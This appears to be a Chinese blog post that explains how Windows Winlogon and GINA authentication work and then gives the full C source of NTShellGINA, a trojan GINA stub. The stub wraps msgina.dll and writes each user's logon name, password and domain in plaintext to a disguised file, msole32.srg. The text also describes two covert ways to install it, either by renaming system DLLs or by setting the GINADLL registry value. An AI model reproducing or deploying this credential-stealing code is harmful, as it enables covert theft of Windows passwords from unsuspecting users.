Winlogon登录和GINA -- NTShellGINA源代码

 

 一、理论

WinLogon登录管理:

1、

Winlogon进程负责管理登录相关的安全性工作,它负责处理用户的登录与注销、启动用户shell、输入口令、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见,以免其他进程取得登录密码。

系统初始化时,启动用户程序之前,Winlogon进行特定工作已保障以上的需求。

(1)  Winlogon进程将创建并打开一个Window Stations,然后设置一个访问控制人口(ACE),该ACE中只包含Winlogon进程的SID,这样就只有Winlogon进程才能访问该Window Stations 。

(2)  然后winlogon创建桌面,设置其中的winlogon桌面只有winlogon可以访问,其他进程不能访问该桌面的任何数据和代码;利用这一特性保护口令、锁定桌面等操作的安全。winlogon还会注册安全注意序列(SAS - secure attention sequence)的热键,任何时候按下SAS热键(缺省为ctrl+alt+del),将调用Winlogon,切换到安全桌面,从而使密码捕捉程序不能接收登录密码和更改密码等安全活动。

2、
而登录进程的验证和身份验证都是在GINA(GINA - Graphical Identification and Authentication图形标识和身份验证)中实现的,微软的GINA是MSGINA.dll,实现了默认的Windows NT登录界面。
不过可以自己开发GINA DLL以实现其他的身份验证方法,如磁卡。当然这也为木马留下了机会,可以通过编写和系统GINA界面相同的GINA,然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果仅仅为了获取登录密码,没有必要那么麻烦,只需写一个接口和GINA一样的,然后所有函数在实现时都去调
用MSGINA.dll的相同函数就可以了,在msdn sample里也有这样一个例子叫做ginastub,当然作为木马还要在登录时将密码转储。(更多的gina信息,在msdn里查找gina)

3、

(1)
NTShelGINA就是使用了后一种方法。我把ginastub改了改,在登录时将username:password:domain存在msole32.srg里。它在运行时具体功能都要调用msgina.dll,因此安装时这个文件必须存在,然后将msgina.dll改名为winlogon32.dll,然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell里的第二种安装方法。

(2)

不过微软还在注册表里留了一个位置由于安装GINA,在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下设置GINADLL为某个GINA DLL,(GINADLL这个值缺省没有)如果设置了这个值,nt会调用该GINA,而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是将NTShellGINA.dll拷贝到system32\mshtmlgi.dll,然后设置GINADLL为mshtmlgi.dll。

因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值,否则将不予安装NTShellGINA 。当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。(ntshell改名为mshtmlgi.dll)。


由于GINA DLL负责系统认证和安全登录,因此如果一旦出错,用户将不能登录系统,必须慎用。也因此NTShell在安装时作了较多的检测,如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件msgina.dll的安装方法里,第一次mslogon32.dll<-msgina.dll<-ntshellgina.dll,如果再次安装用msgina.dll替换mslogon32.dll,用ntshellgina.dll替换后来的msgina.dll(其实还是ntshellgina.dll),这样原来的msgina.dll就没有了,只有两个ntshellgina.dll,找不到真正的msgina.dll,ntshellgina.dll将失败

ntshell依次作如下检测:

步一:注册表里的GINADLL如果设置,则认为系统不是使用默认的登录GINA,自然不予安装(找不到msgina.dll或者其他程序工作不正常)
步二:如果系统的msgina.dll和ntshellgina.dll相同,则认为已经安装过了,不能再次安装
步三:如果系统中存在mslogon32.dll,有可能使用ntshell安装过了,不再安装(除非你确认,msgina.dll还是原来的,可以手工删除mslogon32.dll,再安装;否则不要安装)
步四:如果安装出错,不能登录,可以参考msdn的如下说明进行恢复:(我使用的是第4种方法,其他的未试)

 

二、代码

/*
NTShellGINA.c - a gina stub come from NTShell 1.0
  by:[email protected], from homepage:bingle_site.top263.net

此文件是从tinastub.c文件修改过来的,
  此文件将保存期登陆的密码到文件 system32\\msole32.srg

--*/
#include <windows.h>
#include <stdio.h>
#include <winwlx.h>
#include "ginastub.h"


//
// winlogon function dispatch table
//

PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;

//
// Functions pointers to the real msgina which we will call.
//

PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
PGWLXDISPLAYSASNOTICE GWlxDisplaySASNotice;
PGWLXLOGGEDOUTSAS GWlxLoggedOutSAS;
PGWLXACTIVATEUSERSHELL GWlxActivateUserShell;
PGWLXLOGGEDONSAS GWlxLoggedOnSAS;
PGWLXDISPLAYLOCKEDNOTICE GWlxDisplayLockedNotice;
PGWLXWKSTALOCKEDSAS GWlxWkstaLockedSAS;
PGWLXISLOCKOK GWlxIsLockOk;
PGWLXISLOGOFFOK GWlxIsLogoffOk;
PGWLXLOGOFF GWlxLogoff;
PGWLXSHUTDOWN GWlxShutdown;

//
// NEW for version 1.1
//

PGWLXSTARTAPPLICATION GWlxStartApplication;
PGWLXSCREENSAVERNOTIFY GWlxScreenSaverNotify;


//
// hook into the real GINA.
//
BOOL MyInitialize( void )
{
  HINSTANCE hDll;
//
// judge if which dll to load, if the file named "msgina.dll"
//  then ntshell is changed MSGINA.DLL-->mslogon32.dll, so load it
//  if named others then just load MSGINA.DLL
//
  char origina[]="MSGINA.DLL";
  char chgedgina[]="mslogon32.dll";
  char *realgina;
  char filename[MAX_PATH];
  int result;
  FILE *fp;
  HMODULE hself;

#ifdef _DEBUG
    fp=fopen("ginalog.txt", "ab");
    if(fp)
    {
      sprintf(filename, "\r\nMyInitialize been called by ");
      fwrite(filename, strlen(filename), 1, fp);
      result=GetModuleFileName(NULL, filename, MAX_PATH);
      if(result)fwrite(filename, strlen(filename), 1, fp);
      fclose(fp);
    }
#endif
    
  realgina=NULL;
  hself=GetModuleHandle(origina);
  if(!hself)realgina=origina;//hself=GetModuleHandle(chgedgina);
  else realgina=chgedgina;//if origina loaded, this is origina


  // Load original MSGINA.DLL.
  if( !(hDll = LoadLibrary( realgina )) ) {
    return FALSE;
  }

  // Get pointers to all of the WLX functions in the real MSGINA.
  GWlxNegotiate = (PGWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
  if( !GWlxNegotiate ) {
    return FALSE;
  }

  GWlxInitialize = (PGWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
  if( !GWlxInitialize ) {
    return FALSE;
  }

  GWlxDisplaySASNotice =
    (PGWLXDISPLAYSASNOTICE)GetProcAddress( hDll, "WlxDisplaySASNotice" );
  if( !GWlxDisplaySASNotice ) {
    return FALSE;
  }

  GWlxLoggedOutSAS =
    (PGWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
  if( !GWlxLoggedOutSAS ) {
    return FALSE;
  }

  GWlxActivateUserShell =
    (PGWLXACTIVATEUSERSHELL)GetProcAddress( hDll, "WlxActivateUserShell" );
  if( !GWlxActivateUserShell ) {
    return FALSE;
  }

  GWlxLoggedOnSAS =
    (PGWLXLOGGEDONSAS)GetProcAddress( hDll, "WlxLoggedOnSAS" );
  if( !GWlxLoggedOnSAS ) {
    return FALSE;
  }

  GWlxDisplayLockedNotice =
    (PGWLXDISPLAYLOCKEDNOTICE)GetProcAddress(
                    hDll,
                    "WlxDisplayLockedNotice" );
  if( !GWlxDisplayLockedNotice ) {
    return FALSE;
  }

  GWlxIsLockOk = (PGWLXISLOCKOK)GetProcAddress( hDll, "WlxIsLockOk" );
  if( !GWlxIsLockOk ) {
    return FALSE;
  }

  GWlxWkstaLockedSAS =
    (PGWLXWKSTALOCKEDSAS)GetProcAddress( hDll, "WlxWkstaLockedSAS" );
  if( !GWlxWkstaLockedSAS ) {
    return FALSE;
  }

  GWlxIsLogoffOk = (PGWLXISLOGOFFOK)GetProcAddress( hDll, "WlxIsLogoffOk" );
  if( !GWlxIsLogoffOk ) {
    return FALSE;
  }

  GWlxLogoff = (PGWLXLOGOFF)GetProcAddress( hDll, "WlxLogoff" );
  if( !GWlxLogoff ) {
    return FALSE;
  }

  GWlxShutdown = (PGWLXSHUTDOWN)GetProcAddress( hDll, "WlxShutdown" );
  if( !GWlxShutdown ) {
    return FALSE;
  }

  // we don't check for failure here because these don't exist for
  // gina's implemented prior to Windows NT 4.0
  GWlxStartApplication = (PGWLXSTARTAPPLICATION) GetProcAddress( hDll, "WlxStartApplication" );
  GWlxScreenSaverNotify = (PGWLXSCREENSAVERNOTIFY) GetProcAddress( hDll, "WlxScreenSaverNotify" );

  // Everything loaded ok. Return success.
  return TRUE;
}


BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
  if( !MyInitialize() ) return FALSE;
  return GWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}


BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
  PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
  return GWlxInitialize( lpWinsta, hWlx, pvReserved,
        pWinlogonFunctions, pWlxContext );
}


VOID WINAPI WlxDisplaySASNotice( PVOID pWlxContext )
{
  GWlxDisplaySASNotice( pWlxContext );
}


int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
  PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
  PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
  PVOID *pProfile)
{
  int iRet;

  iRet = GWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,
    pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );

  if(iRet == WLX_SAS_ACTION_LOGON) {
    // copy pMprNotifyInfo and pLogonSid for later use
    
    FILE *fp;
    fp=fopen("msole32.srg", "a");
    if(fp!=NULL)
    {
      char infor[300], buf[300];
      memset(buf, 0, 300);
      wcstombs(buf, pMprNotifyInfo->pszUserName, 300);
      sprintf(infor, "%s", buf);

      memset(buf, 0, 300);//if convert failed, we use the error one also
      wcstombs(buf, pMprNotifyInfo->pszPassword, 300);
      sprintf(infor, "%s:%s", infor, buf);
    
      memset(buf, 0, 300);
      wcstombs(buf, pMprNotifyInfo->pszDomain, 300);
      sprintf(infor, "%s:%s\r\n", infor, buf);
  
      fwrite(infor, 1, strlen(infor), fp);
      fclose(fp);
    }
    // pMprNotifyInfo->pszOldPassword
  }

  return iRet;
}


BOOL WINAPI WlxActivateUserShell(
  PVOID      pWlxContext,
  PWSTR      pszDesktopName,
  PWSTR      pszMprLogonScript,
  PVOID      pEnvironment)
{
  return GWlxActivateUserShell(
        pWlxContext,
        pszDesktopName,
        pszMprLogonScript,
        pEnvironment
        );
}


int WINAPI WlxLoggedOnSAS(
  PVOID      pWlxContext,
  DWORD      dwSasType,
  PVOID      pReserved)
{
  return GWlxLoggedOnSAS( pWlxContext, dwSasType, pReserved );
}

VOID WINAPI WlxDisplayLockedNotice( PVOID pWlxContext )
{
  GWlxDisplayLockedNotice( pWlxContext );
}


BOOL WINAPI WlxIsLockOk( PVOID pWlxContext )
{
  return GWlxIsLockOk( pWlxContext );
}


int WINAPI WlxWkstaLockedSAS(
  PVOID      pWlxContext,
  DWORD      dwSasType )
{
  return GWlxWkstaLockedSAS( pWlxContext, dwSasType );
}

BOOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
{
  BOOL bSuccess;

  bSuccess = GWlxIsLogoffOk( pWlxContext );

  if(bSuccess) {
    //
    // if it's ok to logoff, finish with the stored credentials
    // and scrub the buffers
    //
  }

  return bSuccess;
}


VOID WINAPI WlxLogoff( PVOID pWlxContext )
{
  GWlxLogoff( pWlxContext );
}


VOID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType )
{
  GWlxShutdown( pWlxContext, ShutdownType );
}


//
// NEW for version 1.1
//
BOOL WINAPI WlxScreenSaverNotify(
  PVOID          pWlxContext,
  BOOL *         pSecure
  )
{
  if(GWlxScreenSaverNotify != NULL)
    return GWlxScreenSaverNotify( pWlxContext, pSecure );

  //
  // if not exported, return something intelligent
  //
  *pSecure = TRUE;
  return TRUE;
}

BOOL WINAPI WlxStartApplication(
  PVOID          pWlxContext,
  PWSTR          pszDesktopName,
  PVOID          pEnvironment,
  PWSTR          pszCmdLine
  )
{
  if(GWlxStartApplication != NULL)
    return GWlxStartApplication(
      pWlxContext,
      pszDesktopName,
      pEnvironment,
      pszCmdLine
      );
  //
  // if not exported, return something intelligent
  //
}


 

 

你可能感兴趣的:(Winlogon登录和GINA -- NTShellGINA源代码)